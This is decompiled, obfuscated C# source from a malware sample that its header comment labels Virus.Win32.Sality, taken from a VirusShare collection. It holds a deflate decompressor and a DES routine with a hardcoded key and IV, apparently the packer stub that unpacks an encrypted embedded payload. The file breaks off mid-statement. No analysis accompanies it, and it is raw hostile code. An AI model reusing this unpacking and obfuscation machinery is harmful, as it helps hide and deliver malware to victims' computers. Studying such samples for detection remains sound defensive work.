// Decompiled with JetBrains decompiler // Type: . // Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe using \u0002; using SmartAssembly.SmartExceptionsCore; using System; using System.IO; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace \u0002 { internal sealed class \u0006 { public static string \u0001; public static byte[] \u0003([In] byte[] obj0) { byte[] numArray1; \u0006.\u000F obj1; int num1; short num2; int num3; int num4; int length1; int count1; int count2; byte[] buffer1; byte[] buffer2; byte[] buffer3; \u0006.\u0001 obj2; int num5; int length2; int num6; int length3; int num7; byte[] buffer4; \u0006.\u0001 obj3; DESCryptoServiceProvider cryptoServiceProvider; ICryptoTransform decryptor; byte[] numArray2; try { obj1 = new \u0006.\u000F(obj0); numArray1 = new byte[0]; num1 = obj1.\u0004(); if (num1 == 67324752) { num2 = (short) obj1.\u0003(); num3 = obj1.\u0003(); num4 = obj1.\u0003(); if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) throw new FormatException("Wrong Header Signature"); obj1.\u0004(); obj1.\u0004(); obj1.\u0004(); length1 = obj1.\u0004(); count1 = obj1.\u0003(); count2 = obj1.\u0003(); if (count1 > 0) { buffer1 = new byte[count1]; obj1.Read(buffer1, 0, count1); } if (count2 > 0) { buffer2 = new byte[count2]; obj1.Read(buffer2, 0, count2); } buffer3 = new byte[obj1.Length - obj1.Position]; obj1.Read(buffer3, 0, buffer3.Length); obj2 = new \u0006.\u0001(buffer3); numArray1 = new byte[length1]; obj2.\u0003(numArray1, 0, numArray1.Length); buffer3 = (byte[]) null; } else { num5 = num1 >> 24; num1 -= num5 << 24; if (num1 != 8223355) throw new FormatException("Unknown Header"); if (num5 == 1) { length2 = obj1.\u0004(); numArray1 = new byte[length2]; for (num6 = 0; num6 < length2; num6 += num7) { length3 = obj1.\u0004(); num7 = obj1.\u0004(); buffer4 = new byte[length3]; obj1.Read(buffer4, 0, buffer4.Length); obj3 = new \u0006.\u0001(buffer4); obj3.\u0003(numArray1, num6, num7); } } if (num5 == 2) { cryptoServiceProvider = new DESCryptoServiceProvider(); cryptoServiceProvider.Key = new byte[8] { (byte) 224, (byte) 51, (byte) 101, (byte) 186, (byte) 205, (byte) 13, (byte) 94, (byte) 179 }; cryptoServiceProvider.IV = new byte[8] { (byte) 248, (byte) 169, (byte) 177, (byte) 67, (byte) 239, (byte) 183, (byte) 152, (byte) 172 }; decryptor = cryptoServiceProvider.CreateDecryptor(); numArray2 = decryptor.TransformFinalBlock(obj0, 4, obj0.Length - 4); cryptoServiceProvider.Clear(); numArray1 = \u0006.\u0003(numArray2); } } obj1.Close(); return numArray1; } catch (Exception ex) { object[] objArray = new object[24] { (object) obj1, (object) numArray1, (object) num1, (object) num2, (object) num3, (object) num4, (object) length1, (object) count1, (object) count2, (object) buffer1, (object) buffer2, (object) buffer3, (object) obj2, (object) num5, (object) length2, (object) num6, (object) length3, (object) num7, (object) obj3, (object) buffer4, (object) cryptoServiceProvider, (object) decryptor, (object) numArray2, (object) obj0 }; throw UnhandledException.\u0003(ex, objArray); } } public static byte[] \u0004([In] byte[] obj0) { try { return \u0006.\u0003(obj0, 1, (byte[]) null, (byte[]) null); } catch (Exception ex) { byte[] numArray = obj0; throw UnhandledException.\u0003(ex, (object) numArray); } } public static byte[] \u0003([In] byte[] obj0, [In] int obj1, [In] byte[] obj2, [In] byte[] obj3) { \u0006.\u0006 obj4; DateTime now; long num1; uint[] numArray1; uint maxValue; uint num2; int num3; int length; \u0006.\u000F obj5; long position1; byte[] bytes; byte[] buffer1; int count1; byte[] buffer2; int count2; long num4; int srcOffset; byte[] dst; long position2; \u0006.\u0006 obj6; byte[] buffer3; int count3; byte[] buffer4; int count4; long position3; byte[] inputBuffer; DESCryptoServiceProvider cryptoServiceProvider; ICryptoTransform encryptor; byte[] buffer5; try { byte[] numArray2; try { obj5 = new \u0006.\u000F(); if (obj1 == 0) { obj4 = new \u0006.\u0006(); now = DateTime.Now; num1 = (long) ((uint) ((now.Year - 1980 & (int) sbyte.MaxValue) << 25 | now.Month << 21 | now.Day << 16 | now.Hour << 11 | now.Minute << 5) | (uint) now.Second >> 1); numArray1 = new uint[256] { 0U, 1996959894U, 3993919788U, 2567524794U, 124634137U, 1886057615U, 3915621685U, 2657392035U, 249268274U, 2044508324U, 3772115230U, 2547177864U, 162941995U, 2125561021U, 3887607047U, 2428444049U, 498536548U, 1789927666U, 4089016648U, 2227061214U, 450548861U, 1843258603U, 4107580753U, 2211677639U, 325883990U, 1684777152U, 4251122042U, 2321926636U, 335633487U, 1661365465U, 4195302755U, 2366115317U, 997073096U, 1281953886U, 3579855332U, 2724688242U, 1006888145U, 1258607687U, 3524101629U, 2768942443U, 901097722U, 1119000684U, 3686517206U, 2898065728U, 853044451U, 1172266101U, 3705015759U, 2882616665U, 651767980U, 1373503546U, 3369554304U, 3218104598U, 565507253U, 1454621731U, 3485111705U, 3099436303U, 671266974U, 1594198024U, 3322730930U, 2970347812U, 795835527U, 1483230225U, 3244367275U, 3060149565U, 1994146192U, 31158534U, 2563907772U, 4023717930U, 1907459465U, 112637215U, 2680153253U, 3904427059U, 2013776290U, 251722036U, 2517215374U, 3775830040U, 2137656763U, 141376813U, 2439277719U, 3865271297U, 1802195444U, 476864866U, 2238001368U, 4066508878U, 1812370925U, 453092731U, 2181625025U, 4111451223U, 1706088902U, 314042704U, 2344532202U, 4240017532U, 1658658271U, 366619977U, 2362670323U, 4224994405U, 1303535960U, 984961486U, 2747007092U, 3569037538U, 1256170817U, 1037604311U, 2765210733U, 3554079995U, 1131014506U, 879679996U, 2909243462U, 3663771856U, 1141124467U, 855842277U, 2852801631U, 3708648649U, 1342533948U, 654459306U, 3188396048U, 3373015174U, 1466479909U, 544179635U, 3110523913U, 3462522015U, 1591671054U, 702138776U, 2966460450U, 3352799412U, 1504918807U, 783551873U, 3082640443U, 3233442989U, 3988292384U, 2596254646U, 62317068U, 1957810842U, 3939845945U, 2647816111U, 81470997U, 1943803523U, 3814918930U, 2489596804U, 225274430U, 2053790376U, 3826175755U, 2466906013U, 167816743U, 2097651377U, 4027552580U, 2265490386U, 503444072U, 1762050814U, 4150417245U, 2154129355U, 426522225U, 1852507879U, 4275313526U, 2312317920U, 282753626U, 1742555852U, 4189708143U, 2394877945U, 397917763U, 1622183637U, 3604390888U, 2714866558U, 953729732U, 1340076626U, 3518719985U, 2797360999U, 1068828381U, 1219638859U, 3624741850U, 2936675148U, 906185462U, 1090812512U, 3747672003U, 2825379669U, 829329135U, 1181335161U, 3412177804U, 3160834842U, 628085408U, 1382605366U, 3423369109U, 3138078467U, 570562233U, 1426400815U, 3317316542U, 2998733608U, 733239954U, 1555261956U, 3268935591U, 3050360625U, 752459403U, 1541320221U, 2607071920U, 3965973030U, 1969922972U, 40735498U, 2617837225U, 3943577151U, 1913087877U, 83908371U, 2512341634U, 3803740692U, 2075208622U, 213261112U, 2463272603U, 3855990285U, 2094854071U, 198958881U, 2262029012U, 4057260610U, 1759359992U, 534414190U, 2176718541U, 4139329115U, 1873836001U, 414664567U, 2282248934U, 4279200368U, 1711684554U, 285281116U, 2405801727U, 4167216745U, 1634467795U, 376229701U, 2685067896U, 3608007406U, 1308918612U, 956543938U, 2808555105U, 3495958263U, 1231636301U, 1047427035U, 2932959818U, 3654703836U, 1088359270U, 936918000U, 2847714899U, 3736837829U, 1202900863U, 817233897U, 3183342108U, 3401237130U, 1404277552U, 615818150U, 3134207493U, 3453421203U, 1423857449U, 601450431U, 3009837614U, 3294710456U, 1567103746U, 711928724U, 3020668471U, 3272380065U, 1510334235U, 755167117U }; maxValue = uint.MaxValue; num2 = maxValue; num3 = 0; length = obj0.Length; while (--length >= 0) num2 = numArray1[(IntPtr) (uint) (((int) num2 ^ (int) obj0[num3++]) & (int) byte.MaxValue)] ^ num2 >> 8; num2 ^= maxValue; obj5.\u0004(67324752); obj5.\u0003(20); obj5.\u0003(0); obj5.\u0003(8); obj5.\u0004((int) num1); obj5.\u0004((int) num2); position1 = obj5.Position; obj5.\u0004(0); obj5.\u0004(obj0.Length); bytes = Encoding.UTF8.GetBytes("{data}"); obj5.\u0003(bytes.Length); obj5.\u0003(0); obj5.Write(bytes, 0, bytes.Length); obj4.\u0003(obj0); while (!obj4.\u0004()) { buffer1 = new byte[512]; count1 = obj4.\u0003(buffer1); if (count1 > 0) obj5.Write(buffer1, 0, count1); else break; } obj4.\u0003(); while (!obj4.\u0003()) { buffer2 = new byte[512]; count2 = obj4.\u0003(buffer2); if (count2 > 0) obj5.Write(buffer2, 0, count2); else break; } num4 = obj4.\u0003(); obj5.\u0004(33639248); obj5.\u0003(20); obj5.\u0003(20); obj5.\u0003(0); obj5.\u0003(8); obj5.\u0004((int) num1); obj5.\u0004((int) num2); obj5.\u0004((int) num4); obj5.\u0004(obj0.Length); obj5.\u0003(bytes.Length); obj5.\u0003(0); obj5.\u0003(0); obj5.\u0003(0); obj5.\u0003(0); obj5.\u0004(0); obj5.\u0004(0); obj5.Write(bytes, 0, bytes.Length); obj5.\u0004(101010256); obj5.\u0003(0); obj5.\u0003(0); obj5.\u0003(1); obj5.\u0003(1); obj5.\u0004(46 + bytes.Length); obj5.\u0004((int) ((long) (30 + bytes.Length) + num4)); obj5.\u0003(0); obj5.Seek(position1, SeekOrigin.Begin); obj5.\u0004((int) num4); } else { if (obj1 == 1) { obj5.\u0004(25000571); obj5.\u0004(obj0.Length); for (srcOffset = 0; srcOffset < obj0.Length; srcOffset += dst.Length) { dst = new byte[Math.Min(2097151, obj0.Length - srcOffset)]; Buffer.BlockCopy((Array) obj0, srcOffset, (Array) dst, 0, dst.Length); position2 = obj5.Position; obj5.\u0004(0); obj5.\u0004(dst.Length); obj6 = new \u0006.\u0006(); obj6.\u0003(dst); while (!obj6.\u0004()) { buffer3 = new byte[512]; count3 = obj6.\u0003(buffer3); if (count3 > 0) obj5.Write(buffer3, 0, count3); else break; } obj6.\u0003(); while (!obj6.\u0003()) { buffer4 = new byte[512]; count4 = obj6.\u0003(buffer4); if (count4 > 0) obj5.Write(buffer4, 0, count4); else break; } position3 = obj5.Position; obj5.Position = position2; obj5.\u0004((int) obj6.\u0003()); obj5.Position = position3; } } if (obj1 == 2) { obj5.\u0004(41777787); inputBuffer = \u0006.\u0003(obj0, 1, (byte[]) null, (byte[]) null); cryptoServiceProvider = new DESCryptoServiceProvider(); cryptoServiceProvider.Key = obj2; cryptoServiceProvider.IV = obj3; encryptor = cryptoServiceProvider.CreateEncryptor(); buffer5 = encryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length); obj5.Write(buffer5, 0, buffer5.Length); cryptoServiceProvider.Clear(); } } obj5.Flush(); obj5.Close(); numArray2 = obj5.ToArray(); } catch (Exception ex) { \u0006.\u0001 = "ERR 2003: " + ex.Message; numArray2 = (byte[]) null; } return numArray2; } catch (Exception ex) { byte[] numArray3; object[] objArray = new object[35] { (object) obj5, (object) obj4, (object) now, (object) num1, (object) numArray1, (object) maxValue, (object) num2, (object) num3, (object) length, (object) position1, (object) bytes, (object) buffer1, (object) count1, (object) buffer2, (object) count2, (object) num4, (object) srcOffset, (object) dst, (object) position2, (object) obj6, (object) buffer3, (object) count3, (object) buffer4, (object) count4, (object) position3, (object) inputBuffer, (object) cryptoServiceProvider, (object) encryptor, (object) buffer5, (object) ex, (object) numArray3, (object) obj0, (object) obj1, (object) obj2, (object) obj3 }; throw UnhandledException.\u0003(ex, objArray); } } internal sealed class \u0001 { private static int[] \u0001; private static int[] \u0002; private static int[] \u0003; private static int[] \u0004; private int \u0001; private int \u0002; private int \u0003; private int \u0004; private int \u0005; private bool \u0001; private \u0006.\u0002 \u0001; private \u0006.\u0003 \u0001; private \u0006.\u0005 \u0001; private \u0006.\u0004 \u0001; private \u0006.\u0004 \u0002; public \u0001([In] byte[] obj0) { try { this.\u0001 = new \u0006.\u0002(); this.\u0001 = new \u0006.\u0003(); this.\u0001 = 2; this.\u0001.\u0003(obj0, 0, obj0.Length); } catch (Exception ex) { byte[] numArray = obj0; throw UnhandledException.\u0003(ex, (object) this, (object) numArray); } } private bool \u0003() { int num1; int index; int num2; int num3; int num4; try { num2 = this.\u0001.\u0003(); while (num2 >= 258) { num1 = this.\u0001; switch (num1) { case 7: while (((index = this.\u0001.\u0003(this.\u0001)) & -256) == 0) { this.\u0001.\u0003(index); if (--num2 < 258) return true; } if (index < 257) { if (index < 0) return false; this.\u0002 = (\u0006.\u0004) null; this.\u0001 = (\u0006.\u0004) null; this.\u0001 = 2; return true; } this.\u0003 = \u0006.\u0001.\u0001[index - 257]; this.\u0002 = \u0006.\u0001.\u0002[index - 257]; goto case 8; case 8: if (this.\u0002 > 0) { this.\u0001 = 8; num3 = this.\u0001.\u0003(this.\u0002); if (num3 < 0) return false; this.\u0001.\u0003(this.\u0002); this.\u0003 += num3; } this.\u0001 = 9; goto case 9; case 9: index = this.\u0002.\u0003(this.\u0001); if (index < 0) return false; this.\u0004 = \u0006.\u0001.\u0003[index]; this.\u0002 = \u0006.\u0001.\u0004[index]; goto case 10; case 10: if (this.\u0002 > 0) { this.\u0001 = 10; num4 = this.\u0001.\u0003(this.\u0002); if (num4 < 0) return false; this.\u0001.\u0003(this.\u0002); this.\u0004 += num4; } this.\u0001.\u0003(this.\u0003, this.\u0004); num2 -= this.\u0003; this.\u0001 = 7; continue; default: continue; } } return true; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) index; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num3; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num4; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) num1; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this); } } private bool \u0004() { int num1; int num2; int num3; int num4; int num5; int num6; try { num6 = this.\u0001; switch (num6) { case 2: if (this.\u0001) { this.\u0001 = 12; return false; } num1 = this.\u0001.\u0003(3); if (num1 < 0) return false; this.\u0001.\u0003(3); if ((num1 & 1) != 0) this.\u0001 = true; num2 = num1 >> 1; switch (num2) { case 0: this.\u0001.\u0003(); this.\u0001 = 3; break; case 1: this.\u0001 = \u0006.\u0004.\u0001; this.\u0002 = \u0006.\u0004.\u0002; this.\u0001 = 7; break; case 2: this.\u0001 = new \u0006.\u0005(); this.\u0001 = 6; break; } return true; case 3: this.\u0005 = num3 = this.\u0001.\u0003(16); if (num3 < 0) return false; this.\u0001.\u0003(16); this.\u0001 = 4; goto case 4; case 4: num4 = this.\u0001.\u0003(16); if (num4 < 0) return false; this.\u0001.\u0003(16); this.\u0001 = 5; goto case 5; case 5: num5 = this.\u0001.\u0003(this.\u0001, this.\u0005); this.\u0005 -= num5; if (this.\u0005 != 0) return !this.\u0001.\u0003(); this.\u0001 = 2; return true; case 6: if (!this.\u0001.\u0003(this.\u0001)) return false; this.\u0001 = this.\u0001.\u0003(); this.\u0002 = this.\u0001.\u0004(); this.\u0001 = 7; goto case 7; case 7: case 8: case 9: case 10: return this.\u0003(); case 12: return false; default: return false; } } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num4; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num5; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num6; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local6 = (ValueType) num3; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) local6, (object) this); } } public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) { int num1; int num2; try { num2 = 0; do { if (this.\u0001 != 11) goto label_5; label_2: continue; label_5: num1 = this.\u0001.\u0003(obj0, obj1, obj2); obj1 += num1; num2 += num1; obj2 -= num1; if (obj2 != 0) goto label_2; else goto label_1; } while (this.\u0004() || this.\u0001.\u0004() > 0 && this.\u0001 != 11); goto label_3; label_1: return num2; label_3: return num2; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num1; byte[] numArray = obj0; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj1; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) obj2; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) numArray, (object) local3, (object) local4); } } static \u0001() { try { \u0006.\u0001.\u0001 = new int[29] { 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258 }; \u0006.\u0001.\u0002 = new int[29] { 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0 }; \u0006.\u0001.\u0003 = new int[30] { 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577 }; \u0006.\u0001.\u0004 = new int[30] { 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13 }; } catch (Exception ex) { throw UnhandledException.\u0003(ex); } } } internal sealed class \u0002 { private byte[] \u0001; private int \u0001; private int \u0002; private uint \u0001; private int \u0003; public int \u0003([In] int obj0) { int num1; int num2; try { if (this.\u0003 < obj0) goto label_4; label_3: return (int) ((long) this.\u0001 & (long) ((1 << obj0) - 1)); label_4: if (this.\u0001 == this.\u0002) return -1; \u0006.\u0002 obj = this; int num3 = (int) obj.\u0001; byte[] numArray1 = this.\u0001; num1 = this.\u0001++; int index1 = num1; int num4 = (int) numArray1[index1] & (int) byte.MaxValue; byte[] numArray2 = this.\u0001; num2 = this.\u0001++; int index2 = num2; int num5 = ((int) numArray2[index2] & (int) byte.MaxValue) << 8; int num6 = (num4 | num5) << this.\u0003; obj.\u0001 = (uint) (num3 | num6); this.\u0003 += 16; goto label_3; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3); } } public void \u0003([In] int obj0) { try { this.\u0001 >>= obj0; this.\u0003 -= obj0; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) this, (object) local); } } [SpecialName] public int \u0003() { try { return this.\u0003; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } [SpecialName] public int \u0004() { try { return this.\u0002 - this.\u0001 + (this.\u0003 >> 3); } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public void \u0003() { try { this.\u0001 >>= this.\u0003 & 7; this.\u0003 &= -8; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } [SpecialName] public bool \u0003() { try { return this.\u0001 == this.\u0002; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) { int num1; int num2; int num3; try { num1 = 0; while (this.\u0003 > 0 && obj2 > 0) { obj0[obj1++] = (byte) this.\u0001; this.\u0001 >>= 8; this.\u0003 -= 8; --obj2; ++num1; } if (obj2 == 0) return num1; num2 = this.\u0002 - this.\u0001; if (obj2 > num2) obj2 = num2; Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); this.\u0001 += obj2; if ((this.\u0001 - this.\u0002 & 1) != 0) { byte[] numArray = this.\u0001; num3 = this.\u0001++; int index = num3; this.\u0001 = (uint) numArray[index] & (uint) byte.MaxValue; this.\u0003 = 8; } return num1 + obj2; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num3; byte[] numArray = obj0; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) obj1; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) obj2; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5); } } public \u0002() { try { } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) { int num; try { if (this.\u0001 < this.\u0002) throw new InvalidOperationException(); num = obj1 + obj2; if (0 > obj1 || obj1 > num || num > obj0.Length) throw new ArgumentOutOfRangeException(); if ((obj2 & 1) != 0) { this.\u0001 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0003); this.\u0003 += 8; } this.\u0001 = obj0; this.\u0001 = obj1; this.\u0002 = num; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num; byte[] numArray = obj0; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj1; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj2; throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) numArray, (object) local2, (object) local3); } } } internal sealed class \u0003 { private static int \u0001; private static int \u0002; private byte[] \u0001 = new byte[\u0006.\u0003.\u0001]; private int \u0003; private int \u0004; public void \u0003([In] int obj0) { int num1; int num2; try { \u0006.\u0003 obj = this; int num3; num2 = num3 = obj.\u0004; obj.\u0004 = num3 + 1; if (num2 == \u0006.\u0003.\u0001) throw new InvalidOperationException(); byte[] numArray = this.\u0001; num1 = this.\u0003++; int index = num1; int num4 = (int) (byte) obj0; numArray[index] = (byte) num4; this.\u0003 &= \u0006.\u0003.\u0002; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj0; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) local3); } } private void \u0003([In] int obj0, [In] int obj1, [In] int obj2) { int num1; try { while (obj1-- > 0) { byte[] numArray = this.\u0001; \u0006.\u0003 obj = this; int num2; num1 = num2 = obj.\u0003; obj.\u0003 = num2 + 1; int index = num1; int num3 = (int) this.\u0001[obj0++]; numArray[index] = (byte) num3; this.\u0003 &= \u0006.\u0003.\u0002; obj0 &= \u0006.\u0003.\u0002; } } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) obj0; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj1; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) obj2; throw UnhandledException.\u0003(ex, (object) local1, (object) this, (object) local2, (object) local3, (object) local4); } } public void \u0003([In] int obj0, [In] int obj1) { int num1; int sourceIndex; int num2; int num3; try { num1 = (this.\u0004 += obj0); if (num1 > \u0006.\u0003.\u0001) throw new InvalidOperationException(); sourceIndex = this.\u0003 - obj1 & \u0006.\u0003.\u0002; num2 = \u0006.\u0003.\u0001 - obj0; if (sourceIndex <= num2 && this.\u0003 < num2) { if (obj0 <= obj1) { Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0003, obj0); this.\u0003 += obj0; } else { while (obj0-- > 0) { byte[] numArray = this.\u0001; num3 = this.\u0003++; int index = num3; int num4 = (int) this.\u0001[sourceIndex++]; numArray[index] = (byte) num4; } } } else this.\u0003(sourceIndex, obj0, obj1); } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) sourceIndex; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) num3; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) obj0; // ISSUE: variable of a boxed type __Boxed local6 = (ValueType) obj1; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this, (object) local5, (object) local6); } } public int \u0003([In] \u0006.\u0002 obj0, [In] int obj1) { int num1; int num2; try { obj1 = Math.Min(Math.Min(obj1, \u0006.\u0003.\u0001 - this.\u0004), obj0.\u0004()); num1 = \u0006.\u0003.\u0001 - this.\u0003; if (obj1 > num1) { num2 = obj0.\u0003(this.\u0001, this.\u0003, num1); if (num2 == num1) num2 += obj0.\u0003(this.\u0001, 0, obj1 - num1); } else num2 = obj0.\u0003(this.\u0001, this.\u0003, obj1); this.\u0003 = this.\u0003 + num2 & \u0006.\u0003.\u0002; this.\u0004 += num2; return num2; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num1; \u0006.\u0002 obj = obj0; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) obj1; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) obj, (object) local3); } } public int \u0003() { try { return \u0006.\u0003.\u0001 - this.\u0004; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public int \u0004() { try { return this.\u0004; } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) { int num1; int num2; int length; try { num1 = this.\u0003; if (obj2 > this.\u0004) obj2 = this.\u0004; else num1 = this.\u0003 - this.\u0004 + obj2 & \u0006.\u0003.\u0002; num2 = obj2; length = obj2 - num1; if (length > 0) { Array.Copy((Array) this.\u0001, \u0006.\u0003.\u0001 - length, (Array) obj0, obj1, length); obj1 += length; obj2 = num1; } Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2); this.\u0004 -= num2; if (this.\u0004 < 0) throw new InvalidOperationException(); return num2; } catch (Exception ex) { // ISSUE: variable of a boxed type __Boxed local1 = (ValueType) num1; // ISSUE: variable of a boxed type __Boxed local2 = (ValueType) num2; // ISSUE: variable of a boxed type __Boxed local3 = (ValueType) length; byte[] numArray = obj0; // ISSUE: variable of a boxed type __Boxed local4 = (ValueType) obj1; // ISSUE: variable of a boxed type __Boxed local5 = (ValueType) obj2; throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5); } } public \u0003() { try { } catch (Exception ex) { throw UnhandledException.\u0003(ex, (object) this); } } static \u0003() { try { \u0006.\u0003.\u0001 = 32768; \u0006.\u0003.\u0002 = \u0006.\u0003.\u0001 - 1; } catch (Exception ex) { throw UnhandledException.\u0003(ex); } } } internal sealed class \u0004 { private static int \u0001; private short[] \u0001; public static \u0006.\u0004 \u0001; public static \u0006.\u0004 \u0002; static \u0004() { int num; byte[] numArray1; try { \u0006.\u0004.\u0001 = 15; numArray1 = new byte[288]; num = 0; while (num < 144) numArray1[num++] = (byte) 8; while (num < 256) numArray1[num++] = (byte) 9; while (num < 280) numArray1[num++] = (byte) 7; while (num < 288) numArray1[num++] = (byte) 8; \u0006.\u0004.\u0001 = new \u0006.\u0004(numArray1); numArray1 = new byte[32]; num = 0; while (num < 32) numArray1[num++] = (byte) 5; \u0006.\u0004.\u0002 = new \u0006.\u0004(numArray1); } catch (Exception ex) { byte[] numArray2 = numArray1; // ISSUE: variable of a boxed type __Boxed local = (ValueType) num; throw UnhandledException.\u0003(ex, (object) numArray2, (object) local); } } public \u0004([In] byte[] obj0) { try { this.\u0003(obj0); } catch (Exception ex) { byte[] numArray = obj0; throw UnhandledException.\u0003(ex, (object) this, (object) numArray); } } private void \u0003([In] byte[] obj0) { int index1; int index2; int[] numArray1; int num1; int length; int index3; int[] numArray2; int num2; int num3; int num4; int index4; int num5; int num6; int num7; int index5; int index6; int index7; int num8; int num9; try { numArray1 = new int[\u0006.\u0004.\u0001 + 1]; numArray2 = new int[\u0006.\u0004.\u0001 + 1]; for (index1 = 0; index1 < obj0.Length; ++index1) { index2 = (int) obj0[index1]; if (index2 > 0) ++numArray1[index2]; } num1 = 0; length = 512; for (index3 = 1; index3 <= \u0006.\u0004.\u0001; ++index3) { numArray2[index3] = num1; num1 += numArray1[index3] << 16 - index3; if (index3 >= 10) { num2 = numArray2[index3] & 130944; num3 = num1 & 130944; length += num3 - num2 >> 16 - index3; } } this.\u0001 = new short[length]; num4 = 512; for (index4 = \u0006.\u0004.\u0001; index4 >= 10; --index4) { num5 = num1 & 130944; num1 -= numArray1[index4] << 16 - index4; num6 = num1 & 130944; for (num7 = num6; num7 < num5; num7 += 128) { this.\u0001[(int) \u0006.\u0007.\u0003(num7)] = (short) (-num4 << 4 | index4); num4 += 1 << index4 - 9; } } for (index5 = 0; index5 < obj0.Length; ++index5) { index6 = (int) obj0[index5]; if (index6 != 0) { num1 = numArray2[index6]; index7 = (int) \u0006.\u0007.\u0003(num1); if (index6 <= 9) { do { this.\u0001[index7] = (short) (index5 << 4 | index6); index7 += 1 << index6; } while (index7 < 512); } else { num8 = (int) this.\u0001[index7 & 511]; num9 = 1 << (num8 & 15); num8 = -(num8 >> 4); do { this.\u0001[num8 | 